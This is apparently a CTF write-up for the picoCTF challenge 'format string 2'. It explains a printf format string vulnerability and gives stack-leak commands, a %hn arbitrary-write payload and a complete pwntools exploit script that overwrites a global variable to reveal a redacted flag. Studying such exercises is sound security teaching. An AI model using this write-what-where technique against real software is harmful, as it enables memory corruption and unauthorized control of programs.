Skip to content

Latest commit

 

History

History
122 lines (85 loc) · 7.85 KB

File metadata and controls

122 lines (85 loc) · 7.85 KB

format string 2

Overview

200 points

Category: Binary Exploitation

Tags: #binaryexploitation #formatstring #infoleak #writewhatwhere

Description

This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack!

Approach

Inspecting the provided vuln.c source file we see a global variable sus initialised with a value of 0x21737573. After prompting for input from standard input, this buffer is printed directly and not as part of a format string, therefore vulnerable to format string attack (as the name of the challenge suggests) :

printf(buf);

The flag file is then read and displayed if the aforementioned global variable sus is equal to 0x67616c66, our win condition. Note that sus is modified outside of it's initialisation, hence we must use the format string attack to rewrite the value in this variable.

A quick check of the provided challenge binary vuln we can see this is a 64-bit executable:

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped

Using a typical stack dumping info leak mechanism to locate buf on the stack, using a token that can be readily located, in this case the string "BBBBBBBB", which we'll find in hexadecimal form as 0x4242424242424242. The first instance (string representation) in the output is just our token being printed by printf() and not the contents of buf.

$ echo $(python3 -c 'print("B"*8 + ".%016llx" * 50)') | ./vuln 
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: BBBBBBBB.0000000000402075.0000000000000000.00007feea9e16a00.0000000000000000.00000000009546b0.00000001a9f2aaf0.00007feea9eee4d0.0000000000000000.00007fee00000000.00007fee00000000.00007fee00000000.00000000ffffffff.00007ffda5cf5360.4242424242424242.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e
sus = 0x21737573
You can do better!

Our token can be found in the 14'th word in the dump, which correlates with the 14'th dummy format string argument. To verify we can print just our token argument:

$ echo $(python3 -c 'print("B"*8 + ".%14$016llx")') | ./vuln 
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: BBBBBBBB.4242424242424242
sus = 0x21737573
You can do better!

To be able to rewrite the value of sus we must first locate its address:

$ objdump -t vuln | grep sus
0000000000404060 g     O .data  0000000000000004              sus

We'll break up the writing of sus into two separate short integers (16-bit), therefore the two values that need to be written and their corresponding addresses are (keeping in mind endianness)

  0x67616c66        @ 0x404060
= ----------------------------
  0x6761 (or 26465) @ 0x404062
  0x6c66 (or 27750) @ 0x404060

To write sus we'll use the well known format string attack using the %n format parameter, in particular %hn variant, where:

%n  Writes the number of characters written so far into a pointer reference (int *)
%hn Writes the number of characters written so far into a pointer reference (short int *)

So using this mechanism, the premise is we must generate a string containing the number of characters corresponding to the short value we want to write then use %hn to write it at our target address.

Therefore our final input attack payload used was:

b'%26465x%18$hn...' + b'%1282x%19$hn....' + b'\x62\x40\x40\x00\x00\x00\x00\x00' + b'\x60\x40\x40\x00\x00\x00\x00\x00'

Where;

  • "%26465x" sets up the first write of 26465 (0x6761) using the padding feature to output a single integer in hexadecimal format to standard output, but padded to 26465 characters.
  • "%18$hn..." write the first short integer, the number of characters output thus far in this printf() statement to the memory location pointed to by the 18'th argument provided to printf(). Given no arguments were provided to printf() this ends up referencing a word on the stack, which we constructed to be the location of our first target memory address we will put in buf. We know previously that buf starts at the 14'th word, but our constructed format string (prior to the appended addresses) occupies the first 32-characters (4 64-bit words), meaning out first address is 14 + 4 = 18'th argument. Note that the ... were added simply to assist with alignment of the format string and addresses within the buffer.
  • "%1282x" sets up our second write of 27750 (0x6c66) remembering we had already outputted 26,465 characters plus our alignment padding ... of another 3 characters, therefore we need to write 27,750 - (26,465 + 3) = 1,282 and use the same mechanism as the first write.
  • "%19$hn...." writes the second short integer using the same mechanism, with the address of the second write the 19'th argument.
  • "\x62\x40\x40\x00\x00\x00\x00\x00" is the target address of our first short integer write in little endian byte encoded form, used as the 18'th argument to the printf() from the stack.
  • "\x60\x40\x40\x00\x00\x00\x00\x00" the target address of the second short integer write.

A couple of points to note;

  • we use the short integer writes instead of one single integer write to minimise the amount of characters that are required to be output on standard output.
  • we must make sure we write the small value of the two first as we build up the attack string and continue to add output characters, hence the writes must be ordered accordingly.
  • both addresses are appended to the format string as they contain bytes of values zero, that would be treated as a string null termination character by printf() and would not complete the format string otherwise.

Solution

The final solution used was implemented via the following pwntools script:

#!/usr/bin/env python3

from pwn import *
import re

target_elf = ELF("./vuln")

# command line support for local, remote and gdb modes
if len(sys.argv) > 1:
  if "remote" in sys.argv:
    if len(sys.argv) > 3:
      target_proc = remote(sys.argv[2], sys.argv[3])
    else:
      print('usage: ./pwn-game.py remote <server> <port>')
      exit(1)
  elif "gdb" in sys.argv:
    target_proc = target_elf.process()
    gdb.attach(target_proc)
else:
  target_proc = target_elf.process()

# recv and throw away until we receive our input prompt
target_proc.recvuntil(b'say?')
payload = b'%26465x%18$hn...' + b'%1282x%19$hn....' + b'\x62\x40\x40\x00\x00\x00\x00\x00' + b'\x60\x40\x40\x00\x00\x00\x00\x00'
# payload construction debugging
print(payload)
with open("payload.txt", "wb") as binary_file:
  binary_file.write(payload)
# send payload to target and we're done
target_proc.sendline(payload)
target_proc.interactive()

Which yielded a lot of output (as expected) the tail of which containing our flag:

I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{...........redacted.............}
[*] Got EOF while reading in interactive

Where the actual flag value has been redacted for the purposes of this write up.